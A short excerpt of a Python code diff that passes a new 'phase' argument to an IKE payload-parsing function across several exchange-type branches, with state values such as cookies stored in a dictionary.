dicCrypto["xType"] = xType dicCrypto["iCookie"] = iCookie @@ -686,7 +972,7 @@ def main(self,hexPacket,encType,hashType,*args): return dicCrypto,listVIDs#Returns dictionary of useful value for crypto and state, Also a list of VIDs for fingerprinting in the first exchange packet. elif xType == "05" or xType == 5: - ikeHandling.parsePayload(hexPacket,nextPay,flags,finByte) + ikeHandling.parsePayload(hexPacket,nextPay,flags,finByte,phase) dicCrypto["rCookie"] = rCookie dicCrypto["xType"] = xType dicCrypto["iCookie"] = iCookie @@ -694,7 +980,7 @@ def main(self,hexPacket,encType,hashType,*args): return dicCrypto,listVIDs elif xType == "06" or xType == 6: - ikeHandling.parsePayload(hexPacket,nextPay,flags,finByte) + ikeHandling.parsePayload(hexPacket,nextPay,flags,finByte,phase) dicCrypto["rCookie"] = rCookie dicCrypto["xType"] = xType dicCrypto["iCookie"] = iCookie